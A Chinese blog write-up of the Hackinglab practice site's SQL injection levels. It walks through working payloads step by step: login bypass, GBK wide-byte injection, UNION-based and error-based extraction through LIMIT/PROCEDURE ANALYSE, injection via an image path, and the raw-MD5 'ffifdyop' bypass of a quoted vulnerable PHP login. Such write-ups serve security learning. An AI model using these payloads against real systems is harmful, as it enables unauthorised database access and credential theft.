Hackinglab之注入关

基本关做过忘记做记录。没事做做注入关,做一下笔记。

1.最简单的SQL注入

  Tips题目里有简单提示.页面如下图。

说了有提示,就看看源码。

payload :admin ' or 1=1#

2.最简单的SQL注入(熟悉注入环境)

 pyload:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1 #

3.防注入

 根据提示还有相应头。判断为宽字节注入。
 

宽字节:%df'

%df’ 被PHP转义,单引号被加上反斜杠,变成了 %df’。其中的十六进制是 %5C ,那么现在 %df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df’ = %df%5c%27=縗’。

Payload:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%df'

然后程序出错,就确定为宽字节注入了。然后就常规注入了。

确定字段长度:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' order by 3 %23

确定显示位:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,3 %23

得到数据库:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

得到列名:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

得到字段:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23

4.到底能不能回显

提示:limit注入

分析一篇好的文章点击这里

该文章写着:

limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字. MySQL 默认可用的存储过程只有 ANALYSE (doc)。

根据测试,发现只有start参数有作用,num参数并没有作用。

payload:

确定数据库名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1

列名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1

出flag:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1

 5.邂逅

图片注入,没有想到图片也可以注入。打开图片就是一个普通的URL。在后缀名前面存在注入。由于在页面上无法显示报错或者是出错的信息,这个时候就需要用到Burpsuite。

这里使用宽字节注入,%df'   详情看上文。

Payload:

确定注入点:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df'.jpg

确定列数:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg

确定显示位:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg

确定数据库:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg

确定表名:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg

确定列名:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg

出数据(flag):

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg

9.据说哈希后的密码是不能产生注入的

先进行代码审计:

 1 <?php
 2 
 3 
 4 
 5 include "config.php";
 6 
 7 
 8 if(isset($_GET['userid']) && isset($_GET['pwd'])){
 9 
10     $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
11     
12     $conn=mysql_connect($dbhost,$username,$pwd);
13     mysql_select_db($db,$conn);
14     $result=mysql_query($strsql);
15     print_r(mysql_error());
16     $row=mysql_fetch_array($result);
17     mysql_close($conn);
18     echo "<pre>";
19     print_r($row);
20     
21     echo "</pre>";
22     if($row!=null){
23         echo "Flag: ".$flag;
24     }
25     
26 }
27 else{
28     echo "PLEASE LOGINT!";
29 }
30 echo "<noscript>";
31 echo file_get_contents(__FILE__);

其中最关键的语句是select * from user where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'。对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。那么只要md5(str,true)之后的值是包含了'or'<trash>这样的字符串,那么sql语句就会变为select * from users where usrid="XXX" and password=''or'<xxx>'。如此就可以绕过了。

提供一个字符:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串: 'or'6<其他字符>

Payload:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

总结:见识还是太少。路还长,不轻狂、

原文地址:https://www.cnblogs.com/pangya/p/10024964.html